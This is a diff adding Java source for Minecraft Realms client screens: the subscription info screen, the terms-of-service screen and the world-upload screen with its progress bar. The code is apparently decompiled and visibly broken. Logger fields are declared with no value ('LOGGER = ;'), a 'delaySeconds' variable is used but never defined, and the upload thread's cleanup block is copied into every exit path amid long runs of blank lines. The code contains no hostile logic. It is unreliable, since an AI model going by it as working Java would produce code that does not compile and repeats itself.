+            RealmsClient client = RealmsClient.createRealmsClient();
+            client.deleteWorld(serverData.id);
+          } catch (RealmsServiceException e) {
+            RealmsSubscriptionInfoScreen.LOGGER.error("Couldn't delete world");
+            RealmsSubscriptionInfoScreen.LOGGER.error(e);
+          } catch (IOException e) {
+            RealmsSubscriptionInfoScreen.LOGGER.error("Couldn't delete world");
+            e.printStackTrace();
+          }
+          
+          Realms.setScreen(mainScreen);
+        }
+      }.start();
+    }
+    
+    Realms.setScreen(this);
+  }
+  
+  private String localPresentation(long cetTime) {
+    Calendar cal = new GregorianCalendar(java.util.TimeZone.getDefault());
+    
+    cal.setTimeInMillis(cetTime);
+    return java.text.SimpleDateFormat.getDateTimeInstance().format(cal.getTime());
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) {
+      return;
+    }
+    
+    if (button.id() == 0) {
+      Realms.setScreen(lastScreen);
+    } else if (button.id() == 1) {
+      String line2 = getLocalizedString("mco.configure.world.delete.question.line1");
+      String line3 = getLocalizedString("mco.configure.world.delete.question.line2");
+      Realms.setScreen(new RealmsLongConfirmationScreen(this, RealmsLongConfirmationScreen.Type.Warning, line2, line3, true, 1));
+    }
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    super.mouseClicked(x, y, buttonNum);
+    
+    if (onLink)
+    {
+      String extensionUrl = "https://account.mojang.com/buy/realms?sid=" + serverData.remoteSubscriptionId + "&pid=" + Realms.getUUID();
+      Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
+      clipboard.setContents(new StringSelection(extensionUrl), null);
+      RealmsUtil.browseTo(extensionUrl);
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    int center = width() / 2 - 100;
+    
+    drawCenteredString(getLocalizedString("mco.configure.world.subscription.title"), width() / 2, 17, 16777215);
+    drawString(getLocalizedString("mco.configure.world.subscription.start"), center, RealmsConstants.row(0), 10526880);
+    drawString(startDate, center, RealmsConstants.row(1), 16777215);
+    
+    if (type == Subscription.SubscriptionType.NORMAL) {
+      drawString(getLocalizedString("mco.configure.world.subscription.timeleft"), center, RealmsConstants.row(3), 10526880);
+    } else if (type == Subscription.SubscriptionType.RECURRING) {
+      drawString(getLocalizedString("mco.configure.world.subscription.recurring.daysleft"), center, RealmsConstants.row(3), 10526880);
+    }
+    
+    drawString(daysLeftPresentation(daysLeft), center, RealmsConstants.row(4), 16777215);
+    
+    drawString(getLocalizedString("mco.configure.world.subscription.extendHere"), center, RealmsConstants.row(6), 10526880);
+    
+    int height = RealmsConstants.row(7);
+    
+    int textWidth = fontWidth("https://account.mojang.com/buy/realms");
+    int x1 = width() / 2 - textWidth / 2 - 1;
+    int y1 = height - 1;
+    int x2 = x1 + textWidth + 1;
+    int y2 = height + 1 + fontLineHeight();
+    
+    if ((x1 <= xm) && (xm <= x2) && (y1 <= ym) && (ym <= y2)) {
+      onLink = true;
+      drawString("https://account.mojang.com/buy/realms", width() / 2 - textWidth / 2, height, 7107012);
+    } else {
+      onLink = false;
+      drawString("https://account.mojang.com/buy/realms", width() / 2 - textWidth / 2, height, 3368635);
+    }
+    
+    super.render(xm, ym, a);
+  }
+  
+  private String daysLeftPresentation(int daysLeft) {
+    if (daysLeft == -1) {
+      return "Expired";
+    }
+    
+    if (daysLeft <= 1) {
+      return getLocalizedString("mco.configure.world.subscription.less_than_a_day");
+    }
+    
+    int months = daysLeft / 30;
+    int days = daysLeft % 30;
+    
+    StringBuilder sb = new StringBuilder();
+    if (months > 0) {
+      sb.append(months).append(" ");
+      if (months == 1) {
+        sb.append(getLocalizedString("mco.configure.world.subscription.month").toLowerCase());
+      } else {
+        sb.append(getLocalizedString("mco.configure.world.subscription.months").toLowerCase());
+      }
+    }
+    
+    if (days > 0) {
+      if (sb.length() > 0) {
+        sb.append(", ");
+      }
+      sb.append(days).append(" ");
+      if (days == 1) {
+        sb.append(getLocalizedString("mco.configure.world.subscription.day").toLowerCase());
+      } else {
+        sb.append(getLocalizedString("mco.configure.world.subscription.days").toLowerCase());
+      }
+    }
+    
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsTermsScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsTermsScreen.java
new file mode 100644
index 0000000..6b91e80
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsTermsScreen.java
@@ -0,0 +1,124 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import com.mojang.realmsclient.util.RealmsTasks.RealmsConnectTask;
+import com.mojang.realmsclient.util.RealmsUtil;
+import java.awt.Toolkit;
+import java.awt.datatransfer.Clipboard;
+import java.awt.datatransfer.StringSelection;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+
+public class RealmsTermsScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private static final int BUTTON_AGREE_ID = 1;
+  
+  private static final int BUTTON_DISAGREE_ID = 2;
+  private final RealmsScreen lastScreen;
+  private final RealmsServer realmsServer;
+  private RealmsButton agreeButton;
+  private boolean onLink = false;
+  private String realmsToSUrl = "https://minecraft.net/realms/terms";
+  
+  public RealmsTermsScreen(RealmsScreen lastScreen, RealmsServer realmsServer) {
+    this.lastScreen = lastScreen;
+    this.realmsServer = realmsServer;
+  }
+  
+  public void init()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    int column1_x = width() / 4;
+    int column_width = width() / 4 - 2;
+    int column2_x = width() / 2 + 4;
+    
+    buttonsAdd(this.agreeButton = newButton(1, column1_x, RealmsConstants.row(12), column_width, 20, getLocalizedString("mco.terms.buttons.agree")));
+    buttonsAdd(newButton(2, column2_x, RealmsConstants.row(12), column_width, 20, getLocalizedString("mco.terms.buttons.disagree")));
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) return;
+    switch (button.id()) {
+    case 2: 
+      Realms.setScreen(lastScreen);
+      break;
+    case 1: 
+      agreedToTos();
+      break;
+    }
+    
+  }
+  
+
+  public void keyPressed(char eventCharacter, int eventKey)
+  {
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  private void agreedToTos() {
+    RealmsClient client = RealmsClient.createRealmsClient();
+    try {
+      client.agreeToTos();
+      RealmsLongRunningMcoTaskScreen longRunningMcoTaskScreen = new RealmsLongRunningMcoTaskScreen(lastScreen, new RealmsTasks.RealmsConnectTask(lastScreen, realmsServer));
+      longRunningMcoTaskScreen.start();
+      Realms.setScreen(longRunningMcoTaskScreen);
+    } catch (RealmsServiceException e) {
+      LOGGER.error("Couldn't agree to TOS");
+    }
+  }
+  
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    super.mouseClicked(x, y, buttonNum);
+    
+    if (onLink) {
+      Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
+      clipboard.setContents(new StringSelection(realmsToSUrl), null);
+      RealmsUtil.browseTo(realmsToSUrl);
+    }
+  }
+  
+
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString(getLocalizedString("mco.terms.title"), width() / 2, 17, 16777215);
+    drawString(getLocalizedString("mco.terms.sentence.1"), width() / 2 - 120, RealmsConstants.row(5), 16777215);
+    int firstPartWidth = fontWidth(getLocalizedString("mco.terms.sentence.1"));
+    
+    int x1 = width() / 2 - 121 + firstPartWidth;
+    int y1 = RealmsConstants.row(5);
+    int x2 = x1 + fontWidth("mco.terms.sentence.2") + 1;
+    int y2 = y1 + 1 + fontLineHeight();
+    
+    if ((x1 <= xm) && (xm <= x2) && (y1 <= ym) && (ym <= y2)) {
+      onLink = true;
+      drawString(" " + getLocalizedString("mco.terms.sentence.2"), width() / 2 - 120 + firstPartWidth, RealmsConstants.row(5), 7107012);
+    } else {
+      onLink = false;
+      drawString(" " + getLocalizedString("mco.terms.sentence.2"), width() / 2 - 120 + firstPartWidth, RealmsConstants.row(5), 3368635);
+    }
+    
+    super.render(xm, ym, a);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsUploadScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsUploadScreen.java
new file mode 100644
index 0000000..781c1c2
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsUploadScreen.java
@@ -0,0 +1,1235 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.client.FileUpload;
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.client.UploadStatus;
+import com.mojang.realmsclient.dto.UploadInfo;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.exception.RetryCallException;
+import com.mojang.realmsclient.util.UploadTokenCache;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.concurrent.locks.ReentrantLock;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsBufferBuilder;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsDefaultVertexFormat;
+import net.minecraft.realms.RealmsLevelSummary;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.RealmsSharedConstants;
+import net.minecraft.realms.Tezzelator;
+import org.apache.commons.compress.archivers.tar.TarArchiveEntry;
+import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+import org.lwjgl.opengl.GL11;
+
+public class RealmsUploadScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private static final int CANCEL_BUTTON = 0;
+  
+  private static final int BACK_BUTTON = 1;
+  
+  private final RealmsResetWorldScreen lastScreen;
+  private final RealmsLevelSummary selectedLevel;
+  private final long worldId;
+  private final int slotId;
+  private final UploadStatus uploadStatus;
+  private volatile String errorMessage = null;
+  private volatile String status = null;
+  private volatile String progress = null;
+  private volatile boolean cancelled = false;
+  private volatile boolean uploadFinished = false;
+  private volatile boolean showDots = true;
+  
+  private volatile boolean uploadStarted = false;
+  
+  private RealmsButton backButton;
+  
+  private RealmsButton cancelButton;
+  private int animTick = 0;
+  private static final String[] DOTS = { "", ".", ". .", ". . ." };
+  private int dotIndex = 0;
+  
+  private Long previousWrittenBytes = null;
+  private Long previousTimeSnapshot = null;
+  private long bytesPersSecond = 0L;
+  
+  private static final ReentrantLock uploadLock = new ReentrantLock();
+  
+  public RealmsUploadScreen(long worldId, int slotId, RealmsResetWorldScreen lastScreen, RealmsLevelSummary selectedLevel) {
+    this.worldId = worldId;
+    this.slotId = slotId;
+    this.lastScreen = lastScreen;
+    this.selectedLevel = selectedLevel;
+    uploadStatus = new UploadStatus();
+  }
+  
+  public void init()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    backButton = newButton(1, width() / 2 - 100, height() - 42, 200, 20, getLocalizedString("gui.back"));
+    buttonsAdd(this.cancelButton = newButton(0, width() / 2 - 100, height() - 42, 200, 20, getLocalizedString("gui.cancel")));
+    
+    if (!uploadStarted) {
+      if (lastScreen.slot != -1) {
+        lastScreen.switchSlot(this);
+      } else {
+        upload();
+      }
+    }
+  }
+  
+  public void confirmResult(boolean result, int buttonId)
+  {
+    if ((result) && (!uploadStarted)) {
+      uploadStarted = true;
+      Realms.setScreen(this);
+      upload();
+    }
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) {
+      return;
+    }
+    
+    if (button.id() == 1) {
+      lastScreen.confirmResult(true, 0);
+    } else if (button.id() == 0) {
+      cancelled = true;
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    if (eventKey == 1) {
+      cancelled = true;
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    if ((!uploadFinished) && (uploadStatus.bytesWritten.longValue() != 0L) && (uploadStatus.bytesWritten.longValue() == uploadStatus.totalBytes.longValue())) {
+      status = getLocalizedString("mco.upload.verifying");
+    }
+    
+    drawCenteredString(status, width() / 2, 50, 16777215);
+    
+    if (showDots) {
+      drawDots();
+    }
+    
+    if ((uploadStatus.bytesWritten.longValue() != 0L) && (!cancelled)) {
+      drawProgressBar();
+      drawUploadSpeed();
+    }
+    
+    if (errorMessage != null) {
+      drawCenteredString(errorMessage, width() / 2, 110, 16711680);
+    }
+    
+    super.render(xm, ym, a);
+  }
+  
+  private void drawDots() {
+    int statusWidth = fontWidth(status);
+    
+    if (animTick % 10 == 0) {
+      dotIndex += 1;
+    }
+    
+    drawString(DOTS[(dotIndex % DOTS.length)], width() / 2 + statusWidth / 2 + 5, 50, 16777215);
+  }
+  
+  private void drawProgressBar() {
+    double percentage = uploadStatus.bytesWritten.doubleValue() / uploadStatus.totalBytes.doubleValue() * 100.0D;
+    
+    if (percentage > 100.0D) {
+      percentage = 100.0D;
+    }
+    
+    progress = String.format("%.1f", new Object[] { Double.valueOf(percentage) });
+    
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glDisable(3553);
+    
+    double base = width() / 2 - 100;
+    double diff = 0.5D;
+    
+    Tezzelator t = Tezzelator.instance;
+    t.begin(7, RealmsDefaultVertexFormat.POSITION_COLOR);
+    
+    t.vertex(base - 0.5D, 95.5D, 0.0D).color(217, 210, 210, 255).endVertex();
+    t.vertex(base + 200.0D * percentage / 100.0D + 0.5D, 95.5D, 0.0D).color(217, 210, 210, 255).endVertex();
+    t.vertex(base + 200.0D * percentage / 100.0D + 0.5D, 79.5D, 0.0D).color(217, 210, 210, 255).endVertex();
+    t.vertex(base - 0.5D, 79.5D, 0.0D).color(217, 210, 210, 255).endVertex();
+    
+    t.vertex(base, 95.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+    t.vertex(base + 200.0D * percentage / 100.0D, 95.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+    t.vertex(base + 200.0D * percentage / 100.0D, 80.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+    t.vertex(base, 80.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+    
+    t.end();
+    GL11.glEnable(3553);
+    
+    drawCenteredString(progress + " %", width() / 2, 84, 16777215);
+  }
+  
+  private void drawUploadSpeed() {
+    if (animTick % RealmsSharedConstants.TICKS_PER_SECOND == 0) {
+      if (previousWrittenBytes != null) {
+        long timeElapsed = System.currentTimeMillis() - previousTimeSnapshot.longValue();
+        if (timeElapsed == 0L) {
+          timeElapsed = 1L;
+        }
+        bytesPersSecond = (1000L * (uploadStatus.bytesWritten.longValue() - previousWrittenBytes.longValue()) / timeElapsed);
+        drawUploadSpeed0(bytesPersSecond);
+      }
+      
+      previousWrittenBytes = uploadStatus.bytesWritten;
+      previousTimeSnapshot = Long.valueOf(System.currentTimeMillis());
+    } else {
+      drawUploadSpeed0(bytesPersSecond);
+    }
+  }
+  
+  private void drawUploadSpeed0(long bytesPersSecond) {
+    if (bytesPersSecond > 0L) {
+      int progressLength = fontWidth(progress);
+      String stringPresentation = "(" + humanReadableByteCount(bytesPersSecond) + ")";
+      drawString(stringPresentation, width() / 2 + progressLength / 2 + 15, 84, 16777215);
+    }
+  }
+  
+  public static String humanReadableByteCount(long bytes) {
+    int unit = 1024;
+    if (bytes < unit) return bytes + " B";
+    int exp = (int)(Math.log(bytes) / Math.log(unit));
+    String pre = "KMGTPE".charAt(exp - 1) + "";
+    return String.format("%.1f %sB/s", new Object[] { Double.valueOf(bytes / Math.pow(unit, exp)), pre });
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+  }
+  
+  public void tick()
+  {
+    super.tick();
+    
+    animTick += 1;
+  }
+  
+  private void upload() {
+    uploadStarted = true;
+    
+    new Thread()
+    {
+      public void run() {
+        File archive = null;
+        RealmsClient client = RealmsClient.createRealmsClient();
+        long wid = worldId;
+        try
+        {
+          if (!RealmsUploadScreen.uploadLock.tryLock(1L, java.util.concurrent.TimeUnit.SECONDS))
+          {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+            uploadFinished = true;
+            
+            if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+              RealmsUploadScreen.uploadLock.unlock();
+            } else {
+              return;
+            }
+            
+            showDots = false;
+            buttonsRemove(cancelButton);
+            buttonsAdd(backButton);
+            
+            if (archive != null) {
+              RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+              archive.delete();
+            }
+            
+            if (cancelled) {
+              return;
+            }
+            
+            try
+            {
+              client.uploadFinished(wid);
+            } catch (RealmsServiceException e) {
+              RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+            }
+            return;
+          }
+          status = RealmsScreen.getLocalizedString("mco.upload.preparing");
+          
+          UploadInfo uploadInfo = null;
+          
+          for (int i = 0; i < 20; i++) {
+            try {
+              if (cancelled) {
+                RealmsUploadScreen.this.uploadCancelled(wid);
+                
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+                uploadFinished = true;
+                
+                if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+                  RealmsUploadScreen.uploadLock.unlock();
+                } else {
+                  return;
+                }
+                
+                showDots = false;
+                buttonsRemove(cancelButton);
+                buttonsAdd(backButton);
+                
+                if (archive != null) {
+                  RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+                  archive.delete();
+                }
+                
+                if (cancelled) {
+                  return;
+                }
+                
+                try
+                {
+                  client.uploadFinished(wid);
+                } catch (RealmsServiceException e) {
+                  RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+                }
+                return;
+              }
+              uploadInfo = client.upload(wid, UploadTokenCache.get(wid));
+            }
+            catch (RetryCallException e) {
+              Thread.sleep(delaySeconds * 1000);
+            }
+          }
+          
+          if (uploadInfo == null) {
+            status = RealmsScreen.getLocalizedString("mco.upload.close.failure");
+            
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+            uploadFinished = true;
+            
+            if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+              RealmsUploadScreen.uploadLock.unlock();
+            } else {
+              return;
+            }
+            
+            showDots = false;
+            buttonsRemove(cancelButton);
+            buttonsAdd(backButton);
+            
+            if (archive != null) {
+              RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+              archive.delete();
+            }
+            
+            if (cancelled) {
+              return;
+            }
+            
+            try
+            {
+              client.uploadFinished(wid);
+            } catch (RealmsServiceException e) {
+              RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+            }
+            return;
+          }
+          UploadTokenCache.put(wid, uploadInfo.getToken());
+          
+          if (!uploadInfo.isWorldClosed()) {
+            status = RealmsScreen.getLocalizedString("mco.upload.close.failure");
+            
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+            uploadFinished = true;
+            
+            if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+              RealmsUploadScreen.uploadLock.unlock();
+            } else {
+              return;
+            }
+            
+            showDots = false;
+            buttonsRemove(cancelButton);
+            buttonsAdd(backButton);
+            
+            if (archive != null) {
+              RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+              archive.delete();
+            }
+            
+            if (cancelled) {
+              return;
+            }
+            
+            try
+            {
+              client.uploadFinished(wid);
+            } catch (RealmsServiceException e) {
+              RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+            }
+            return;
+          }
+          if (cancelled) {
+            RealmsUploadScreen.this.uploadCancelled(wid);
+            
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+            uploadFinished = true;
+            
+            if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+              RealmsUploadScreen.uploadLock.unlock();
+            } else {
+              return;
+            }
+            
+            showDots = false;
+            buttonsRemove(cancelButton);
+            buttonsAdd(backButton);
+            
+            if (archive != null) {
+              RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+              archive.delete();
+            }
+            
+            if (cancelled) {
+              return;
+            }
+            
+            try
+            {
+              client.uploadFinished(wid);
+            } catch (RealmsServiceException e) {
+              RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+            }
+            return;
+          }
+          File saves = new File(Realms.getGameDirectoryPath(), "saves");
+          archive = RealmsUploadScreen.this.tarGzipArchive(new File(saves, selectedLevel.getLevelId()));
+          
+          if (cancelled) {
+            RealmsUploadScreen.this.uploadCancelled(wid);
+            
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+            uploadFinished = true;
+            
+            if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+              RealmsUploadScreen.uploadLock.unlock();
+            } else {
+              return;
+            }
+            
+            showDots = false;
+            buttonsRemove(cancelButton);
+            buttonsAdd(backButton);
+            
+            if (archive != null) {
+              RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+              archive.delete();
+            }
+            
+            if (cancelled) {
+              return;
+            }
+            
+            try
+            {
+              client.uploadFinished(wid);
+            } catch (RealmsServiceException e) {
+              RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+            }
+            return;
+          }
+          if (!RealmsUploadScreen.this.verify(archive)) {
+            errorMessage = RealmsScreen.getLocalizedString("mco.upload.size.failure", new Object[] { selectedLevel.getLevelName() });
+            
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+            uploadFinished = true;
+            
+            if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+              RealmsUploadScreen.uploadLock.unlock();
+            } else {
+              return;
+            }
+            
+            showDots = false;
+            buttonsRemove(cancelButton);
+            buttonsAdd(backButton);
+            
+            if (archive != null) {
+              RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+              archive.delete();
+            }
+            
+            if (cancelled) {
+              return;
+            }
+            
+            try
+            {
+              client.uploadFinished(wid);
+            } catch (RealmsServiceException e) {
+              RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+            }
+            return;
+          }
+          status = RealmsScreen.getLocalizedString("mco.upload.uploading", new Object[] { selectedLevel.getLevelName() });
+          
+          FileUpload fileUpload = new FileUpload();
+          fileUpload.upload(archive, worldId, slotId, uploadInfo, Realms.getSessionId(), Realms.getName(), RealmsSharedConstants.VERSION_STRING, uploadStatus);
+          
+          while (!fileUpload.isFinished()) {
+            if (cancelled) {
+              fileUpload.cancel();
+              RealmsUploadScreen.this.uploadCancelled(wid);
+              
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+              uploadFinished = true;
+              
+              if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+                RealmsUploadScreen.uploadLock.unlock();
+              } else {
+                return;
+              }
+              
+              showDots = false;
+              buttonsRemove(cancelButton);
+              buttonsAdd(backButton);
+              
+              if (archive != null) {
+                RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+                archive.delete();
+              }
+              
+              if (cancelled) {
+                return;
+              }
+              
+              try
+              {
+                client.uploadFinished(wid);
+              } catch (RealmsServiceException e) {
+                RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+              }
+              return;
+            }
+            try
+            {
+              Thread.sleep(500L);
+            } catch (InterruptedException e) {
+              RealmsUploadScreen.LOGGER.error("Failed to check Realms file upload status");
+            }
+          }
+          
+          if ((fileUpload.getStatusCode() >= 200) && (fileUpload.getStatusCode() < 300)) {
+            uploadFinished = true;
+            status = RealmsScreen.getLocalizedString("mco.upload.done");
+            backButton.msg(RealmsScreen.getLocalizedString("gui.done"));
+            UploadTokenCache.invalidate(wid);
+          }
+          else if ((fileUpload.getStatusCode() == 400) && (fileUpload.getErrorMessage() != null)) {
+            errorMessage = RealmsScreen.getLocalizedString("mco.upload.failed", new Object[] { fileUpload.getErrorMessage() });
+          } else {
+            errorMessage = RealmsScreen.getLocalizedString("mco.upload.failed", new Object[] { Integer.valueOf(fileUpload.getStatusCode()) });
+          }
+          
+
+
+
+
+
+
+
+          uploadFinished = true;
+          
+          if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+            RealmsUploadScreen.uploadLock.unlock();
+          } else {
+            return;
+          }
+          
+          showDots = false;
+          buttonsRemove(cancelButton);
+          buttonsAdd(backButton);
+          
+          if (archive != null) {
+            RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+            archive.delete();
+          }
+          
+          if (cancelled) {
+            return;
+          }
+          
+          try
+          {
+            client.uploadFinished(wid);
+          } catch (RealmsServiceException e) {
+            RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+          }
+          showDots = false;
+        }
+        catch (IOException e)
+        {
+          errorMessage = RealmsScreen.getLocalizedString("mco.upload.failed", new Object[] { e.getMessage() });
+          
+
+
+
+
+          uploadFinished = true;
+          
+          if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+            RealmsUploadScreen.uploadLock.unlock();
+          } else {
+            return;
+          }
+          
+          showDots = false;
+          buttonsRemove(cancelButton);
+          buttonsAdd(backButton);
+          
+          if (archive != null) {
+            RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+            archive.delete();
+          }
+          
+          if (cancelled) {
+            return;
+          }
+          
+          try
+          {
+            client.uploadFinished(wid);
+          } catch (RealmsServiceException e) {
+            RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+          }
+        }
+        catch (RealmsServiceException e)
+        {
+          errorMessage = RealmsScreen.getLocalizedString("mco.upload.failed", new Object[] { e.toString() });
+          
+
+
+          uploadFinished = true;
+          
+          if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+            RealmsUploadScreen.uploadLock.unlock();
+          } else {
+            return;
+          }
+          
+          showDots = false;
+          buttonsRemove(cancelButton);
+          buttonsAdd(backButton);
+          
+          if (archive != null) {
+            RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+            archive.delete();
+          }
+          
+          if (cancelled) {
+            return;
+          }
+          
+          try
+          {
+            client.uploadFinished(wid);
+          } catch (RealmsServiceException e) {
+            RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+          }
+        }
+        catch (InterruptedException e)
+        {
+          RealmsUploadScreen.LOGGER.error("Could not acquire upload lock");
+          
+          uploadFinished = true;
+          
+          if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+            RealmsUploadScreen.uploadLock.unlock();
+          } else {
+            return;
+          }
+          
+          showDots = false;
+          buttonsRemove(cancelButton);
+          buttonsAdd(backButton);
+          
+          if (archive != null) {
+            RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+            archive.delete();
+          }
+          
+          if (cancelled) {
+            return;
+          }
+          
+          try
+          {
+            client.uploadFinished(wid);
+          } catch (RealmsServiceException e) {
+            RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() });
+          }
+        }
+        finally
+        {
+          uploadFinished = true;
+          
+          if (RealmsUploadScreen.uploadLock.isHeldByCurrentThread()) {
+            RealmsUploadScreen.uploadLock.unlock();
+          } else {
+            return;
+          }
+        }
+        
+        buttonsRemove(cancelButton);
+        buttonsAdd(backButton);
+        
+        if (archive != null) {
